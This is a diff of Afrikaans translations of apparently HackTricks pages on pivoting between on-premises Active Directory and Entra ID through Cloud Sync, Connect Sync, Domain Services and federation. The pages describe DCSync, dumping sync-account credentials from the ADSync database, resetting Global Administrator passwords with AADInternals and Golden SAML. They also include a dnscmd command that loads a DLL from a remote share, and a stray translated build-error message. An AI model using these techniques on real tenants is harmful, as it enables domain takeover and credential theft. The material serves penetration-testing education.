-> Standaard word gebruikers van bekende bevoorregte groepe soos Domein Administrators met die attribuut **`adminCount` tot 1 nie gesinkroniseer** met Entra ID vir veiligheidsredes nie. Ander gebruikers wat deel uitmaak van bevoorregte groepe sonder hierdie attribuut of wat hoë bevoegdhede direk toegeken is, **kan egter gesinkroniseer word**.
+> Standaard word gebruikers van bekende bevoorregte groepe soos Domein Administrators met die attribuut **`adminCount` tot 1 nie gesinkroniseer** met Entra ID vir veiligheidsredes nie. egter, ander gebruikers wat deel uitmaak van bevoorregte groepe sonder hierdie attribuut of wat hoë bevoegdhede direk toegeken is **kan gesinkroniseer word**.
 
-## Password Sychronization
+## Wagwoord Sinkronisering
 
 Die afdeling is baie soortgelyk aan die een van:
 
@@ -36,9 +37,10 @@ az-connect-sync.md
 {{#endref}}
 
 - **Wagwoord hash sinkronisering** kan geaktiveer word sodat gebruikers in staat sal wees om **in te log in Entra ID met hul wagwoorde van AD**. Boonop, wanneer 'n wagwoord in AD gewysig word, sal dit in Entra ID opgedateer word.
-- **Wagwoord skryfbak** kan ook geaktiveer word, wat gebruikers toelaat om hul wagwoord in Entra ID te verander en outomaties hul wagwoord in die on-premise domein te sinkroniseer. Maar volgens die [huidige dokumentasie](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), is dit nodig om die Connect Agent te gebruik, so kyk na die [Az Connect Sync afdeling](./az-connect-sync.md) vir meer inligting.
+- **Wagwoord skryfbak** kan ook geaktiveer word, wat gebruikers toelaat om hul wagwoord in Entra ID te verander wat outomaties hul wagwoord in die on-premise domein sinkroniseer. Maar volgens die [huidige dokumentasie](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), is dit nodig om die Connect Agent te gebruik, so kyk na die [Az Connect Sync afdeling](./az-connect-sync.md) vir meer inligting.
 - **Groep skryfbak**: Hierdie kenmerk laat groep lidmaatskappe van Entra ID toe om teruggesinkroniseer te word na die on-premises AD. Dit beteken dat as 'n gebruiker aan 'n groep in Entra ID bygevoeg word, hulle ook aan die ooreenstemmende groep in AD bygevoeg sal word.
 
+
 ## Pivoting
 
 ### AD --> Entra ID
@@ -47,8 +49,8 @@ az-connect-sync.md
 
 So jy kan byvoorbeeld
 - Die **`provAgentgMSA`** rekening kompromitteer, 'n DCSync aanval uitvoer, die wagwoord van 'n gebruiker kraak en dit dan gebruik om in te log in Entra ID.
-- Net 'n nuwe gebruiker in die AD skep, wag totdat dit in Entra ID gesinkroniseer word en dit dan gebruik om in te log in Entra ID.
-- Die wagwoord van 'n gebruiker in die AD verander, wag totdat dit in Entra ID gesinkroniseer word en dit dan gebruik om in te log in Entra ID.
+- Net 'n nuwe gebruiker in die AD skep, wag totdat dit in Entra ID gesinkroniseer is en dit dan gebruik om in te log in Entra ID.
+- Die wagwoord van 'n gebruiker in die AD verander, wag totdat dit in Entra ID gesinkroniseer is en dit dan gebruik om in te log in Entra ID.
 
 Om die **`provAgentgMSA`** geloofsbriewe te kompromitteer:
 ```powershell
@@ -81,7 +83,7 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
 {{#endref}}
 
 > [!NOTE]
-> Let daarop dat daar geen manier is om Azure of EntraID rolle aan gesinkroniseerde gebruikers toe te ken op grond van hul eienskappe nie, byvoorbeeld in die Cloud Sync konfigurasies. Dit is egter moontlik om outomaties toestemmings aan gesinkroniseerde gebruikers toe te ken, sommige **Entra ID groepe van AD** mag toestemming ontvang sodat die gesinkroniseerde gebruikers binne daardie groepe dit ook ontvang of **dinamiese groepe mag gebruik word**, so kyk altyd na dinamiese reëls en potensiële maniere om dit te misbruik:
+> Let daarop dat daar geen manier is om Azure of EntraID rolle aan gesinkroniseerde gebruikers toe te ken op grond van hul eienskappe nie, byvoorbeeld in die Cloud Sync konfigurasies. Om egter outomaties toestemmings aan gesinkroniseerde gebruikers toe te ken, kan sommige **Entra ID groepe van AD** toestemmings gegee word sodat die gesinkroniseerde gebruikers binne daardie groepe dit ook ontvang of **dinamiese groepe mag gebruik word**, so kyk altyd vir dinamiese reëls en potensiële maniere om dit te misbruik:
 
 {{#ref}}
 ../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -122,19 +124,19 @@ RawHash = passwordHashData.RawHash
 }
 ```
 NuGet-pakketherstel het gefaal vir projek AzTokenFinder: Onvermoë om weergawe '4.3.2' van pakket 'System.Security.Cryptography.X509Certificates' te vind.  
-C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Pakket 'System.Security.Cryptography.X509Certificates.4.3.2' is nie op bron 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' gevind nie.  
+C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Pakket 'System.Security.Cryptography.X509Certificates.4.3.2' is nie op bron 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' gevind.  
 . Sien asseblief die Foutlys-venster vir gedetailleerde waarskuwings en foute.
 
 ### Entra ID --> AD
 
-- As **Wagwoord Terugskrywing** geaktiveer is, kan jy die wagwoord van sommige gebruikers van Entra ID verander en as jy toegang tot die AD-netwerk het, met hulle aansluit. Vir meer inligting, kyk na die [Az Connect Sync section](./az-connect-sync.md) afdeling vir meer inligting, aangesien die wagwoord terugskrywing met daardie agent geconfigureer word.
+- As **Wagwoord Terugskrywing** geaktiveer is, kan jy die wagwoord van sommige gebruikers van Entra ID wysig en as jy toegang tot die AD-netwerk het, kan jy met hulle verbind. Vir meer inligting, kyk na die [Az Connect Sync section](./az-connect-sync.md) afdeling vir meer inligting, aangesien die wagwoord terugskrywing met daardie agent geconfigureer word.
 
-- Op hierdie stadium laat Cloud Sync ook **"Microsoft Entra ID na AD"** toe, maar na te veel tyd het ek gevind dat dit nie EntraID-gebruikers na AD kan sinkroniseer nie en dat dit slegs gebruikers van EntraID kan sinkroniseer wat met die wagwoord-hash gesinkroniseer is en afkomstig is van 'n domein wat aan dieselfde domeinwoud behoort as die domein waaraan ons sinkroniseer, soos jy kan lees in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
+- Op hierdie stadium laat Cloud Sync ook **"Microsoft Entra ID na AD"** toe, maar na 'n lang tyd het ek gevind dat dit nie EntraID-gebruikers na AD kan sinkroniseer nie en dat dit slegs gebruikers van EntraID kan sinkroniseer wat met die wagwoord-hash gesinkroniseer is en afkomstig is van 'n domein wat aan dieselfde domeinwoud behoort as die domein waaraan ons sinkroniseer, soos jy kan lees in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
 
 > - Hierdie groepe kan slegs on-premises gesinkroniseerde gebruikers en / of addisionele in die wolk geskepte sekuriteitsgroepe bevat.  
 > - Die on-premises gebruikersrekeninge wat gesinkroniseer is en lede van hierdie in die wolk geskepte sekuriteitsgroep is, kan van dieselfde domein of kruis-domein wees, maar hulle moet almal van dieselfde woud wees.
 
-So die aanvaloppervlak (en nuttigheid) van hierdie diens is aansienlik verminder aangesien 'n aanvaller die aanvanklike AD waaruit die gebruikers gesinkroniseer word, moet kompromitteer om 'n gebruiker in die ander domein te kompromitteer (en albei moet blykbaar in dieselfde woud wees).
+So die aanvaloppervlak (en nuttigheid) van hierdie diens is aansienlik verminder aangesien 'n aanvaller die aanvanklike AD moet kompromitteer van waar die gebruikers gesinkroniseer word om 'n gebruiker in die ander domein te kompromitteer (en albei moet blykbaar in dieselfde woud wees).
 
 ### Enumeration
 ```bash

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md

@@ -16,7 +16,7 @@ Die **Connect Sync** is basies die "ou" Azure manier om **gebruikers van AD na E
 az-cloud-sync.md
 {{#endref}}
 
-### Beginsels Geproduseer
+### Geproduseerde Beginsels
 
 - Die rekening **`MSOL_<installationID>`** word outomaties in die plaaslike AD geskep. Hierdie rekening word 'n **Directory Synchronization Accounts** rol gegee (sien [dokumentasie](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) wat beteken dat dit **replicatie (DCSync) regte in die plaaslike AD** het.
 - Dit beteken dat enigiemand wat hierdie rekening kompromitteer, die plaaslike domein kan kompromitteer.
@@ -25,40 +25,40 @@ az-cloud-sync.md
 
 ## Sinchroniseer Wagwoorde
 
-### Wagwoord Hash Sinchronisasie
+### Wagwoord Hash Sinchronisering
 
-Hierdie komponent kan ook gebruik word om **wagwoorde van AD na Entra ID te sinchroniseer** sodat gebruikers hul AD-wagwoorde kan gebruik om aan te sluit by Entra ID. Hiervoor is dit nodig om wagwoord hash sinchronisasie in die Microsoft Entra Connect Sync agent wat op 'n AD-bediener geïnstalleer is, toe te laat.
+Hierdie komponent kan ook gebruik word om **wagwoorde van AD na Entra ID te sinchroniseer** sodat gebruikers hul AD-wagwoorde kan gebruik om aan te sluit by Entra ID. Hiervoor is dit nodig om wagwoord hash sinchronisering in die Microsoft Entra Connect Sync agent wat op 'n AD-bediener geïnstalleer is, toe te laat.
 
-[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Wagwoord hash sinchronisasie** is een van die aanmeldmetodes wat gebruik word om hibriede identiteit te bereik. **Azure AD Connect** sinchroniseer 'n hash, van die hash, van 'n gebruiker se wagwoord van 'n plaaslike Active Directory-instansie na 'n wolk-gebaseerde Azure AD-instansie.
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Wagwoord hash sinchronisering** is een van die aanmeldmetodes wat gebruik word om 'n hibriede identiteit te bereik. **Azure AD Connect** sinchroniseer 'n hash, van die hash, van 'n gebruiker se wagwoord van 'n plaaslike Active Directory instansie na 'n wolk-gebaseerde Azure AD instansie.
 
-Basies, alle **gebruikers** en 'n **hash van die wagwoord hashes** word van die plaaslike AD na Azure AD gesinchroniseer. egter, **duidelike wagwoorde** of die **oorspronklike** **hashes** word nie na Azure AD gestuur nie.
+Basies, alle **gebruikers** en 'n **hash van die wagwoord hashes** word van die plaaslike AD na Azure AD gesinchroniseer. egter, **duidelike teks wagwoorde** of die **oorspronklike** **hashes** word nie na Azure AD gestuur nie.
 
-Die **hashes sinchronisasie** vind elke **2 minute** plaas. egter, per standaard, **wagwoord vervaldatums** en **rekening** **vervaldatums** word **nie gesinchroniseer** in Azure AD nie. So, 'n gebruiker wie se **plaaslike wagwoord verval** (nie verander nie) kan voortgaan om **toegang tot Azure hulpbronne** te verkry met die ou wagwoord.
+Die **hashes sinchronisering** vind elke **2 minute** plaas. egter, per standaard, **wagwoord vervaldatums** en **rekening** **vervaldatums** word **nie gesinchroniseer** in Azure AD nie. So, 'n gebruiker wie se **plaaslike wagwoord verval** (nie verander nie) kan voortgaan om **toegang tot Azure hulpbronne** te verkry met die ou wagwoord.
 
 Wanneer 'n plaaslike gebruiker 'n Azure hulpbron wil benader, vind die **verifikasie plaas op Azure AD**.
 
 > [!NOTE]
-> Per standaard word gebruikers van bekende bevoorregte groepe soos Domein Administrators met die attribuut **`adminCount` na 1 nie gesinchroniseer** met Entra ID vir veiligheidsredes. egter, ander gebruikers wat deel uitmaak van bevoorregte groepe sonder hierdie attribuut of wat hoë regte direk toegeken is, **kan gesinchroniseer word**.
+> Per standaard word gebruikers van bekende bevoorregte groepe soos Domein Administrators met die attribuut **`adminCount` tot 1 nie gesinchroniseer** met Entra ID vir veiligheidsredes nie. egter, ander gebruikers wat deel uitmaak van bevoorregte groepe sonder hierdie attribuut of wat hoë regte direk toegeken is, **kan gesinchroniseer word**.
 
 ### Wagwoord Skryfbak
 
 Hierdie konfigurasie laat toe om **wagwoorde van Entra ID na AD te sinchroniseer** wanneer 'n gebruiker sy wagwoord in Entra ID verander. Let daarop dat vir die wagwoord skryfbak om te werk, die `MSOL_<id>` gebruiker wat outomaties in die AD gegenereer is, [meer regte soos aangedui in die dokumentasie](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) toegeken moet word sodat dit in staat sal wees om **die wagwoorde van enige gebruiker in die AD te verander**.
 
-Dit is veral interessant om die AD van 'n gecompromitteerde Entra ID te kompromitteer, aangesien jy in staat sal wees om die wagwoord van "byna" enige gebruiker te verander.
+Dit is veral interessant om die AD van 'n gekompromitteerde Entra ID te kompromitteer, aangesien jy in staat sal wees om die wagwoord van "byna" enige gebruiker te verander.
 
-Domein administrateurs en ander gebruikers wat aan sommige bevoorregte groepe behoort, word nie gerepliceer as die groep die **`adminCount` attribuut na 1** het nie. Maar ander gebruikers wat hoë regte binne die AD toegeken is sonder om aan enige van daardie groepe te behoort, kan hul wagwoord verander. Byvoorbeeld:
+Domein administrateurs en ander gebruikers wat aan sommige bevoorregte groepe behoort, word nie gerepliceer as die groep die **`adminCount` attribuut tot 1** het nie. Maar ander gebruikers wat hoë regte binne die AD toegeken is sonder om aan enige van daardie groepe te behoort, kan hul wagwoord verander. Byvoorbeeld:
 
 - Gebruikers wat hoë regte direk toegeken is.
 - Gebruikers van die **`DNSAdmins`** groep.
 - Gebruikers van die groep **`Group Policy Creator Owners`** wat GPO's geskep het en dit aan OUs toegeken het, sal in staat wees om die GPO's wat hulle geskep het, te verander.
 - Gebruikers van die **`Cert Publishers Group`** wat sertifikate aan Active Directory kan publiseer.
-- Gebruikers van enige ander groep met hoë regte sonder die **`adminCount` attribuut na 1**.
+- Gebruikers van enige ander groep met hoë regte sonder die **`adminCount` attribuut tot 1**.
 
 ## Pivoting AD --> Entra ID
 
 ### Enumerating Connect Sync
 
-Check for users:
+Kontroleer vir gebruikers:
 ```bash
 # Check for the users created by the Connect Sync
 Install-WindowsFeature RSAT-AD-PowerShell
@@ -83,10 +83,10 @@ az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronizat
 ```
 ### Vind die wagwoorde
 
-Die wagwoorde van die **`MSOL_*`** gebruiker (en die **Sync\_\*** gebruiker indien geskep) is **gestoor in 'n SQL-bediener** op die bediener waar **Entra ID Connect geïnstalleer is.** Administrateurs kan die wagwoorde van daardie bevoorregte gebruikers in duidelike teks onttrek.\
+Die wagwoorde van die **`MSOL_*`** gebruiker (en die **Sync\_\*** gebruiker indien geskep) is **gestoor in 'n SQL bediener** op die bediener waar **Entra ID Connect geïnstalleer is.** Administrateurs kan die wagwoorde van daardie bevoorregte gebruikers in duidelike teks onttrek.\
 Die databasis is geleë in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
 
-Dit is moontlik om die konfigurasie uit een van die tabelle te onttrek, waarvan een versleuteld is:
+Dit is moontlik om die konfigurasie van een van die tabelle te onttrek, waarvan een versleuteld is:
 
 `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
 
@@ -128,7 +128,7 @@ Hierdie toepassing is geskep sonder dat enige Entra ID of Azure bestuur rolle to
 Daar word genoem dat die SP van hierdie toepassing steeds gebruik kan word om sommige bevoorregte aksies uit te voer met 'n nie-dokumenteerde API, maar daar is nog geen PoC gevind nie, sover ek weet.\
 In elk geval, om te dink dat dit moontlik mag wees, sal dit interessant wees om verder te verken hoe om die sertifikaat te vind om as hierdie dienshoof in te log en te probeer om dit te misbruik.
 
-Hierdie [blog pos](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) is kort voor die verandering van die gebruik van die `Sync_*` gebruiker na hierdie dienshoof vrygestel, en het verduidelik dat die sertifikaat binne die bediener gestoor was en dit moontlik was om dit te vind, PoP (Bewys van Besit) daarvan te genereer en graf token, en hiermee 'n nuwe sertifikaat aan die dienshoof toe te voeg (want 'n **dienshoof** kan altyd vir homself nuwe sertifikaat toeken) en dit dan gebruik om volharding as die SP te handhaaf.
+Hierdie [blogpos](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) is kort voor die verandering van die gebruik van die `Sync_*` gebruiker na hierdie dienshoof vrygestel, en het verduidelik dat die sertifikaat binne die bediener gestoor was en dit moontlik was om dit te vind, PoP (Bewys van Besit) daarvan te genereer en graf token, en hiermee 'n nuwe sertifikaat aan die dienshoof toe te voeg (want 'n **dienshoof** kan altyd vir homself nuwe sertifikate toeken) en dit dan gebruik om volharding as die SP te handhaaf.
 
 Om hierdie aksies uit te voer, is die volgende gereedskap gepubliseer: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
 
@@ -139,7 +139,7 @@ Volgens my ervaring, is die sertifikaat nie meer gestoor op die plek waar die vo
 > [!WARNING]
 > Voorheen is 'n gebruiker genaamd `Sync_*` in Entra ID geskep met baie sensitiewe toestemmings toegeken, wat dit moontlik gemaak het om bevoorregte aksies uit te voer soos om die wagwoord van enige gebruiker of om 'n nuwe geloofsbrief aan 'n dienshoof toe te voeg. Vanaf Jan2025 word hierdie gebruiker egter nie meer standaard geskep nie, aangesien die Aansoek/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** gebruik word. Dit mag egter steeds in sommige omgewings teenwoordig wees, so dit is die moeite werd om daarna te kyk.
 
-Die kompromittering van die **`Sync_*`** rekening maak dit moontlik om die **wagwoord te herstel** van enige gebruiker (insluitend Globale Administrators)
+Deur die **`Sync_*`** rekening te kompromitteer, is dit moontlik om die **wagwoord** van enige gebruiker (insluitend Globale Administrators) te **herstel**.
 ```bash
 Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
 Import-Module AADInternals
@@ -177,9 +177,9 @@ Dit is ook moontlik om die wagwoord van hierdie gebruiker te dump.
 > [!CAUTION]
 > 'n Ander opsie sou wees om **bevoorregte toestemmings aan 'n dienshoof** toe te ken, wat die **Sync** gebruiker **toestemmings** het om te doen, en dan **daardie dienshoof** te benader as 'n manier van privesc.
 
-### Seamless SSO
+### Naadlose SSO
 
-Dit is moontlik om Seamless SSO met PHS te gebruik, wat kwesbaar is vir ander misbruik. Kontroleer dit in:
+Dit is moontlik om Naadlose SSO met PHS te gebruik, wat kwesbaar is vir ander misbruik. Kontroleer dit in:
 
 {{#ref}}
 seamless-sso.md
@@ -187,8 +187,8 @@ seamless-sso.md
 
 ## Pivoting Entra ID --> AD
 
-- As wagwoord skryf teruggestuur is, kan jy **die wagwoord van enige gebruiker in die AD** wat met Entra ID gesinkroniseer is, **wysig**.
-- As groepe skryf teruggestuur is, kan jy **gebruikers aan bevoorregte groepe** in Entra ID wat met die AD gesinkroniseer is, **toevoeg**.
+- As wagwoord skryfbak aktief is, kan jy **die wagwoord van enige gebruiker in die AD** wat met Entra ID gesinkroniseer is, **wysig**.
+- As groepe skryfbak aktief is, kan jy **gebruikers aan bevoorregte groepe** in Entra ID wat met die AD gesinkroniseer is, **toevoeg**.
 
 ## Verwysings
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md

@@ -0,0 +1,86 @@
+# Az - Microsoft Entra Domain Services
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Domain Services
+
+Microsoft Entra Domain Services stel jou in staat om 'n Active Directory in Azure te ontplooi sonder om Domain Controllers te bestuur (werklik het jy nie eens toegang tot hulle nie).
+
+Die hoofdoel is om jou in staat te stel om ouer toepassings in die wolk te laat loop wat nie moderne verifikasiemetodes kan gebruik nie, of waar jy nie wil hê dat gidsopsoeke altyd na 'n plaaslike AD DS-omgewing moet teruggaan nie.
+
+Let daarop dat om die gebruikers wat in Entra ID gegenereer is (en nie van ander aktiewe gidse gesinkroniseer is nie) na die AD-domeindiens te sinkroniseer, jy die **wagwoord van die gebruiker** na 'n nuwe een moet **verander** sodat dit met die nuwe AD gesinkroniseer kan word. Werklik, die gebruiker word nie van Microsoft Entra ID na Domain Services gesinkroniseer totdat die wagwoord verander is nie.
+
+> [!WARNING]
+> Selfs as jy 'n nuwe aktiewe gidse domein skep, sal jy dit nie heeltemal kan bestuur nie (tenzij jy sommige miskonfigurasies benut), wat beteken dat jy byvoorbeeld nie gebruikers direk in die AD kan skep nie. Jy skep hulle deur **gebruikers van Entra ID te sinkroniseer.** Jy kan aandui om alle gebruikers te sinkroniseer (selfs diegene wat van ander plaaslike AD's gesinkroniseer is), slegs wolkgebruikers (gebruikers geskep in Entra ID), of selfs **hulle meer te filter**.
+
+> [!NOTE]
+> In die algemeen, weens die gebrek aan buigsaamheid in die konfigurasie van die nuwe domein en die feit dat AD's gewoonlik reeds plaaslik is, is dit nie die hoofintegrasie tussen Entra ID en AD nie, maar steeds interessant om te weet hoe om dit te kompromitteer.
+
+### Pivoting
+
+Lede van die gegenereerde **`AAD DC Administrators`** groep ontvang plaaslike admin regte op VM's wat aan die bestuurde domein gekoppel is (maar nie in die domein controllers nie) omdat hulle by die plaaslike administrateursgroep gevoeg word. Lede van hierdie groep kan ook **Remote Desktop gebruik om afstand te neem na domein-gekoppelde VM's**, en is ook lede van die groepe:
+
+- **`Denied RODC Password Replication Group`**: Dit is 'n groep wat gebruikers en groepe spesifiseer wie se wagwoorde nie op RODCs (Read-Only Domain Controllers) gebuffer kan word nie.
+- **`Group Policy Creators Owners`**: Hierdie groep stel lede in staat om Groep Beleide in die domein te skep. egter, sy lede kan nie groepbeleide op gebruikers of groepe toepas of bestaande GPO's redigeer nie, so dit is nie so interessant in hierdie omgewing nie.
+- **`DnsAdmins`**: Hierdie groep stel in staat om die DNS-instellings te bestuur en is in die verlede misbruik om [regte te verhoog en die domein te kompromitteer](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), egter na die toets van die aanval in hierdie omgewing is dit nagegaan dat die kwesbaarheid reggestel is:
+```text
+dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
+
+DNS Server failed to reset registry property.
+Status = 5 (0x00000005)
+Command failed:  ERROR_ACCESS_DENIED     5    0x5
+```
+Let wel dat om hierdie toestemmings toe te ken, die groep **`AAD DC Administrators`** binne die AD 'n lid van die vorige groepe gemaak word, en ook die GPO **`AADDC Computers GPO`** voeg as Plaaslike Administrators al die lede van die domeingroep **`AAD DC Administrators`** by.
+
+Pivotering van Entra ID na 'n AD wat met Domein Dienste geskep is, is eenvoudig, voeg net 'n gebruiker by die groep **`AAD DC Administrators`**, toegang via RDP tot enige/alle masjiene in die domein en jy sal in staat wees om data te steel en ook **die domein te kompromitteer.**
+
+Echter, pivotering van die domein na Entra ID is nie so maklik nie, aangesien niks van die domein in Entra ID gesinkroniseer word nie. Kyk egter altyd na die metadata van al die VM's wat aangesluit is, aangesien hul toegewyde bestuurde identiteite dalk interessante toestemmings het. Dump ook **alle gebruikers se wagwoorde van die domein** en probeer om dit te kraak om dan in te log in Entra ID / Azure.
+
+> [!NOTE]
+> Let daarop dat daar in die verlede ander kwesbaarhede in hierdie bestuurde AD gevind is wat toegelaat het om die DC's te kompromitteer, [soos hierdie een](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). 'n Aanvaller wat die DC kompromitteer, kan baie maklik volharding handhaaf sonder dat die Azure administrateurs dit opgemerk het of selfs in staat was om dit te verwyder.
+
+### Enumeration
+```bash
+# Get configured domain services domains (you can add more subs to check in more subscriptions)
+az rest --method post \
+--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
+--body '{
+"subscriptions": [
+"0ce1297c-9153-425d-3229-f51093614377"
+],
+"query": "resources | where type == \"microsoft.aad/domainservices\"",
+"options": {
+"$top": 16,
+"$skip": 0,
+"$skipToken": ""
+}
+}'
+
+# Get domain configuration
+az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
+## e.g.
+az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
+
+# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
+
+subscription_id="0ce1297c-9153-425d-3229-f51093614377"
+vnet_name="aadds-vnet"
+
+# Retrieve all VMs in the subscription
+vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)
+
+# Iterate through each VM to check their VNet connection
+echo "VMs connected to VNet '$vnet_name':"
+while IFS=$'\t' read -r vm_name resource_group; do
+nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)
+
+for nic_id in $nic_ids; do
+subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)
+
+if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
+echo "VM Name: $vm_name, Resource Group: $resource_group"
+fi
+done
+done <<< "$vm_list"
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md

@@ -2,11 +2,11 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Basiese Inligting
 
-[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
+[Van die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
 
->**Federation** is 'n versameling van **domeine** wat **vertroue** gevestig het. Die vlak van vertroue kan verskil, maar sluit tipies **verifikasie** in en sluit byna altyd **autorisering** in. 'n Tipiese federasie kan 'n **aantal organisasies** insluit wat **vertroue** gevestig het vir **gedeelde toegang** tot 'n stel hulpbronne.
+>**Federasie** is 'n versameling van **domeine** wat **vertroue** gevestig het. Die vlak van vertroue kan verskil, maar sluit tipies **verifikasie** in en sluit byna altyd **autorisering** in. 'n Tipiese federasie kan 'n **aantal organisasies** insluit wat **vertroue** gevestig het vir **gedeelde toegang** tot 'n stel hulpbronne.
 >Jy kan jou **on-premises** omgewing **met Azure AD** federate en hierdie federasie gebruik vir verifikasie en autorisering. Hierdie aanmeldmetode verseker dat alle gebruiker **verifikasie plaasvind op-premises**. Hierdie metode stel administrateurs in staat om meer streng vlakke van toegangbeheer te implementeer. Federasie met **AD FS** en PingFederate is beskikbaar.
 
 <figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
@@ -26,7 +26,7 @@ In enige federasie-opstelling is daar drie partye:
 1. Aanvanklik word 'n toepassing (Diensverskaffer of SP, soos AWS-konsol of vSphere-webkliënt) deur 'n gebruiker toegang verkry. Hierdie stap kan oorgeslaan word, wat die kliënt direk na die IdP (Identiteitsverskaffer) lei, afhangende van die spesifieke implementering.
 2. Vervolgens identifiseer die SP die toepaslike IdP (bv. AD FS, Okta) vir gebruiker verifikasie. Dit stel dan 'n SAML (Security Assertion Markup Language) AuthnRequest op en herlei die kliënt na die gekose IdP.
 3. Die IdP neem oor, wat die gebruiker verifieer. Na verifikasie word 'n SAMLResponse deur die IdP geformuleer en aan die SP deur die gebruiker gestuur.
-4. Laastens evalueer die SP die SAMLResponse. As dit suksesvol gevalideer word, wat 'n vertrouensverhouding met die IdP impliseer, word die gebruiker toegang verleen. Dit merk die voltooiing van die aanmeldproses, wat die gebruiker in staat stel om die diens te gebruik.
+4. Laastens evalueer die SP die SAMLResponse. As dit suksesvol geverifieer word, wat 'n vertrouensverhouding met die IdP impliseer, word die gebruiker toegang verleen. Dit merk die voltooiing van die aanmeldproses, wat die gebruiker in staat stel om die diens te gebruik.
 
 **As jy meer wil leer oor SAML-verifikasie en algemene aanvalle, gaan na:**
 
@@ -37,13 +37,13 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
 ## Pivoting
 
 - AD FS is 'n eise-gebaseerde identiteitsmodel.
-- "..eise is eenvoudig stellings (byvoorbeeld, naam, identiteit, groep), gemaak oor gebruikers, wat hoofsaaklik gebruik word om toegang tot eise-gebaseerde toepassings wat enige plek op die Internet geleë is, te autoriseer."
+- "..eise is eenvoudig stellings (byvoorbeeld, naam, identiteit, groep), gemaak oor gebruikers, wat hoofsaaklik gebruik word om toegang tot eise-gebaseerde toepassings wat enige plek op die internet geleë is, te autoriseer."
 - Eise vir 'n gebruiker word binne die SAML tokens geskryf en word dan onderteken om vertroulikheid deur die IdP te bied.
 - 'n Gebruiker word geïdentifiseer deur ImmutableID. Dit is wêreldwyd uniek en word in Azure AD gestoor.
 - Die ImmutableID word op-premises gestoor as ms-DS-ConsistencyGuid vir die gebruiker en/of kan afgelei word van die GUID van die gebruiker.
 - Meer inligting in [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
 
-**Golden SAML aanval:**
+**Goue SAML-aanval:**
 
 - In ADFS, word die SAML Response deur 'n token-ondertekeningssertifikaat onderteken.
 - As die sertifikaat gecompromitteer is, is dit moontlik om as ENIGE gebruiker wat met Azure AD gesinkroniseer is, te verifieer!
@@ -51,26 +51,26 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
 - Die sertifikaat kan van die AD FS-bediener met DA voorregte onttrek word en kan dan vanaf enige internetverbonden masjien gebruik word.
